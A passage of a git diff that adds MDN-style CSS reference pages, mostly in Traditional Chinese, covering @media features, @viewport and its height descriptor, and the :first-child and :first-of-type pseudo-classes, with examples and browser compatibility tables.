+<h2 id="Media_features" name="Media_features">Media Features</h2>
+
+<p>Each <em>media feature</em> tests for one specific feature of the browser or device.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Name</th>
+   <th>Summary</th>
+   <th>Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/width"><code>width</code></a></td>
+   <td>Viewport width</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/height"><code>height</code></a></td>
+   <td>Viewport height</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/aspect-ratio"><code>aspect-ratio</code></a></td>
+   <td>Width-to-height aspect ratio of the viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/orientation"><code>orientation</code></a></td>
+   <td>Orientation of the viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/resolution"><code>resolution</code></a></td>
+   <td>Pixel density of the output device</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scan"><code>scan</code></a></td>
+   <td>Scanning process of the output device</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/grid"><code>grid</code></a></td>
+   <td>Is the device a grid or bitmap?</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/update-frequency"><code>update-frequency</code></a></td>
+   <td>How quickly (if at all) can the output device modify the appearance of the content</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-block"><code>overflow-block</code></a></td>
+   <td>How does the output device handle content that overflows the viewport along the block axis?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-inline"><code>overflow-inline</code></a></td>
+   <td>Can content that overflows the viewport along the inline axis be scrolled?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color"><code>color</code></a></td>
+   <td>Number of bits per color component of the output device, or zero if the device isn't color.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color-index"><code>color-index</code></a></td>
+   <td>Number of entries in the output device's color lookup table, or zero if the device does not use such a table.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/@media/display-mode">display-mode</a></code></td>
+   <td>The display mode of the application, as specified in the web app manifest's <a href="/en-US/docs/Web/Manifest#display">display member</a>.</td>
+   <td>Defined in the <a href="http://w3c.github.io/manifest/#the-display-mode-media-feature">Web App Manifest spec</a>.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/monochrome"><code>monochrome</code></a></td>
+   <td>Bits per pixel in the output device's monochrome frame buffer, or 0 if the device is not monochrome.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/inverted-colors"><code>inverted-colors</code></a></td>
+   <td>Is the user agent or underlying OS inverting colors?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/pointer"><code>pointer</code></a></td>
+   <td>Is the primary input mechanism a pointing device, and if so, how accurate is it?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/hover"><code>hover</code></a></td>
+   <td>Does the primary input mechanism allow the user to hover over elements?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-pointer"><code>any-pointer</code></a></td>
+   <td>Is any available input mechanism a pointing device, and if so, how accurate is it?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-hover"><code>any-hover</code></a></td>
+   <td>Does any available input mechanism allow the user to hover over elements?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/light-level"><code>light-level</code></a></td>
+   <td>Current ambient light level</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scripting"><code>scripting</code></a></td>
+   <td>Is scripting (e.g. JavaScript) available?</td>
+   <td>Added in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-width"><code>device-width</code></a> {{obsolete_inline}}</td>
+   <td>Width of the rendering surface of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-height"><code>device-height</code></a> {{obsolete_inline}}</td>
+   <td>Height of the rendering surface of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-aspect-ratio"><code>device-aspect-ratio</code></a> {{obsolete_inline}}</td>
+   <td>Width-to-height aspect ratio of the output device</td>
+   <td>Deprecated in Media Queries Level 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-device-pixel-ratio"><code>-webkit-device-pixel-ratio</code></a> {{non-standard_inline}}</td>
+   <td>Number of physical device pixels per CSS pixel</td>
+   <td>Nonstandard; WebKit/Blink-specific. If possible, use the <a href="/en-US/docs/Web/CSS/@media/resolution"><code>resolution</code></a> media feature instead.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-3d"><code>-webkit-transform-3d</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS 3D {{cssxref("transform")}}s supported?</td>
+   <td>Nonstandard; WebKit/Blink-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-2d"><code>-webkit-transform-2d</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS 2D {{cssxref("transform")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transition"><code>-webkit-transition</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS {{cssxref("transition")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-animation"><code>-webkit-animation</code></a> {{non-standard_inline}}</td>
+   <td>Are CSS {{cssxref("animation")}}s supported?</td>
+   <td>Nonstandard; WebKit-specific</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<pre class="brush: css">@media print {
+  body { font-size: 10pt }
+}
+@media screen {
+  body { font-size: 13px }
+}
+@media screen, print {
+  body { line-height: 1.2 }
+}
+@media only screen
+  and (min-device-width: 320px)
+  and (max-device-width: 480px)
+  and (-webkit-min-device-pixel-ratio: 2) {
+    body { line-height: 1.4 }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#css-media-queries', 'CSS Media Queries')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Standardizes the <code>-webkit-device-pixel-ratio</code> and <code>-webkit-transform-3d</code> media features.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Defines the basic syntax of the <code>@media</code> rule.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>
+    <p>Added <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>light-level</code>, <code>update-frequency</code>, <code>overflow-block</code>, and <code>overflow-inline</code> media features.<br>
+     Deprecated all media types except for <code>screen</code>, <code>print</code>, <code>speech</code>, and <code>all</code>.<br>
+     Made the syntax more flexible by adding, among other things, the <code>or</code> keyword.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>6.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.2</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code> media feature</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop(47) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code> media feature</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/Media_queries" title="En/CSS/Media queries">Media queries</a></li>
+ <li>The CSSOM {{ domxref("CSSMediaRule") }} associated with this at-rule.</li>
+</ul>
diff --git a/files/zh-tw/web/css/@viewport/height/index.html b/files/zh-tw/web/css/@viewport/height/index.html
new file mode 100644
index 0000000000..e883d44041
--- /dev/null
+++ b/files/zh-tw/web/css/@viewport/height/index.html
@@ -0,0 +1,120 @@
+---
+title: height
+slug: Web/CSS/@viewport/height
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace"><strong>高度 </strong></font>的 CSS 描述符是用於設定兩者的簡易描述符 {{cssxref("@viewport/min-height", "min-height")}} 與 {{cssxref("@viewport/max-height", "max-height")}} 的可視區域(viewport)。提供一個可視區域的長度值，將設定兩者的最小高度與最大高度的值。</p>
+
+<p>如果提供了兩個可視區域(viewport)，第一個值將設定為最小高度，而第二個值將設定為最大高度。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: css">/* One value */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* Two values */
+height: 320px 200px;
+</pre>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>使用 CSS 描述符來進行值的計算。</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>非負絕對值或相對長度。</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>初始可視區域的相對寬度或相對高度百分比的縮放係數為 1.0，且必須是非負數。</dd>
+</dl>
+
+<h3 id="正式語法">正式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="舉例">舉例</h2>
+
+<pre class="brush: css">@viewport {
+  height: 500px;
+}</pre>
+
+<h2 id="格式">格式</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>29 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}}</td>
+   <td>10{{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/@viewport/index.html b/files/zh-tw/web/css/@viewport/index.html
new file mode 100644
index 0000000000..f03aaee77b
--- /dev/null
+++ b/files/zh-tw/web/css/@viewport/index.html
@@ -0,0 +1,159 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+  - Adaptation
+  - At-rule
+  - CSS
+  - Device
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/@viewport
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The<strong> <code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> contains a set of nested descriptors in a CSS block that is delimited by curly braces. These descriptors control viewport settings, primarily on mobile devices.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>A <em>zoom factor</em> of <code>1.0</code> or <code>100%</code> corresponds to no zooming. Larger values zoom in. Smaller values zoom out.</p>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<p>Browsers are supposed to ignore unrecognized descriptors.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-width"><code>min-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-width</code> and <code>max-width</code></dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-height</code> and <code>max-height</code></dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
+ <dd>Sets the initial zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
+ <dd>Sets the minimum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-zoom"><code>max-zoom</code></a></dt>
+ <dd>Sets the maximum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/user-zoom"><code>user-zoom</code></a></dt>
+ <dd>Controls whether or not the user should be able to change the zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/orientation"><code>orientation</code></a></dt>
+ <dd>Controls the document's orientation.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="eval" style="font-size: 14px;">@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+@viewport {
+  orientation: landscape;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>29 (behind a flag) [4]</td>
+   <td>{{CompatNo()}} [2]</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>10{{property_prefix("-ms")}}[1]</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] There is a bug in IE Mobile 10 on older versions of Windows Phone 8, where <code>device-width</code>, when used within <code>@-ms-viewport</code>, evaluates to the screen width in physical pixels rather than normalized CSS pixels, which is wrong according to the specification. However, when used within a <code>viewport</code> {{HTMLElement("meta")}} tag, <code>device-width</code> evaluates correctly. According to Microsoft, this bug was fixed in <a href="http://blogs.windows.com/windows_phone/b/wpdev/archive/2013/10/14/introducing-windows-phone-preview-for-developers.aspx">Windows Phone 8 Update 3 (a.k.a. GDR3)</a>, although there are some reports that the <a href="http://www.nokia.com/us-en/windows-phone-black-update/">Lumia Black</a> GDR3 update did not fix the bug (at least on the Lumia 920). For more details and a workaround, <a href="http://timkadlec.com/2013/01/windows-phone-8-and-device-width/">see Tim Kadlec's blog post "Windows Phone 8 and Device-Width"</a>.</p>
+
+<p>[2]: See {{bug(747754, 'summary')}}</p>
+
+<p>[3]: See {{webkitbug(95959)}}</p>
+<p>[4]: See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=235457">Chromium issue #235457: Enable @viewport on all platforms</a></p>
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}}, specifically <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/en-US/docs/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/_colon_first-child/index.html b/files/zh-tw/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..195449ca3d
--- /dev/null
+++ b/files/zh-tw/web/css/_colon_first-child/index.html
@@ -0,0 +1,154 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+  - CSS
+  - CSS Pseudo-class
+  - Layout
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><code>:first-child</code>是<a href="/en-US/docs/Web/CSS">CSS</a>當中的一種<a href="/en-US/docs/Web/CSS/Pseudo-classes">偽類別（pseudo-class）</a>，代表任何身為長子的元素（親元素的第一個子元素）。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="範例_1">範例 1</h3>
+
+<h4 id="HTML_內文">HTML 內文</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;This span is limed!&lt;/span&gt;
+  &lt;span&gt;This span is not. :(&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_內文">CSS 內文</h4>
+
+<pre class="brush: css">span:first-child {
+    background-color: lime;
+}
+</pre>
+
+<p>呈現效果如下：</p>
+
+<p><span>{{EmbedLiveSample('範例_1',300,50)}}</span></p>
+
+<h3 id="範例_2_-_使用_UL">範例 2 - 使用 UL</h3>
+
+<h4 id="HTML_內文_2">HTML 內文</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;List 1&lt;/li&gt;
+  &lt;li&gt;List 2&lt;/li&gt;
+  &lt;li&gt;List 3&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_內文_2">CSS 內文</h4>
+
+<pre class="brush: css">li{
+  color:red;
+}
+li:first-child{
+  color:green;
+}</pre>
+
+<p>呈現效果如下：</p>
+
+<p><span>{{EmbedLiveSample('範例_2_-_使用_UL',300,100)}}</span></p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>無變更</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>無變更</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基礎支援</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>7<sup>[1]</sup></td>
+   <td>9.5</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基礎支援</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>7<sup>[1]</sup></td>
+   <td>10.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在不重新載入網頁的情況下，Internet Explorer 7 的樣式表並不會套用在動態新增的元素上。在 Internet Explorer 8，若元素是以點擊連結而形成的，則 <code>first-child</code> 在該連結不被選取後才有作用。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{cssxref(":last-child")}}</li>
+ <li>{{cssxref(":nth-child")}}</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/_colon_first-of-type/index.html b/files/zh-tw/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..93a524c4b7
--- /dev/null
+++ b/files/zh-tw/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,162 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+  - CSS
+  - CSS 虛擬類別
+  - 參考
+  - 外觀
+  - 網頁
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>在 CSS <code><a href="/en-US/docs/Web/CSS/Pseudo-classes">虛擬類別（pseudo-class）</a>中，</code><strong><code>:first-of-type </code></strong><code>代表本節點為兄弟節點中第一個此類型節點。</code></p>
+
+<pre class="brush: css no-line-numbers">/* 選取第一個出現在父節點下的&lt;p&gt;，不考慮其在所有子節點中的位置。 */
+p:first-of-type {
+  color: red;
+}</pre>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>附註</strong></span>: 在初始定義中，被選取的節點必須擁有父節點。從選取器層級4（Selectors Level 4）開始已經不再有這個限制了。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="例一：選取第一段文章">例一：選取第一段文章</h3>
+
+<p>來考慮以下 HTML:</p>
+
+<pre class="brush: html">&lt;h2&gt;Heading&lt;/h2&gt;
+
+&lt;p&gt;Paragraph&lt;/p&gt;
+
+&lt;p&gt;Paragraph&lt;/p&gt;</pre>
+
+<p>及 CSS:</p>
+
+<pre class="brush: css">p:first-of-type {
+  color: red;
+}</pre>
+
+<p>會有這樣的效果 － 只有第一段文章變為紅色，因為它是 body 中第一個文章節點：</p>
+
+<p>{{EmbedLiveSample('Example_1_Simple_first_paragraph')}}</p>
+
+<h3 id="例二：預定通用選擇器（Assumed_universal_selector）">例二：預定通用選擇器（Assumed universal selector）</h3>
+
+<p>這個範例展示了當沒有指定一般選擇器（simple selector）時，通用選擇器是如何被預判。</p>
+
+<p id="HTML">首先來看 HTML：</p>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;This `span` is first!&lt;/span&gt;
+  &lt;span&gt;But this `span` isn't.&lt;/span&gt;
+  &lt;span&gt;This &lt;em&gt;nested `em` is&lt;/em&gt;!&lt;/span&gt;
+  &lt;span&gt;And so is this &lt;span&gt;nested `span`&lt;/span&gt;!&lt;/span&gt;
+  &lt;b&gt;This `b` qualifies!&lt;/b&gt;
+  &lt;span&gt;This final `span` does not.&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p id="CSS">接著是 CSS：</p>
+
+<pre class="brush: css">div :first-of-type {
+  background-color: lime;
+}</pre>
+
+<p id="Result">會有這樣的效果:</p>
+
+<p>{{EmbedLiveSample('Example_2_Assumed_universal_selector','100%', '120')}}</p>
+
+<h2 id="特定規格">特定規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">附註</th>
+  </tr>
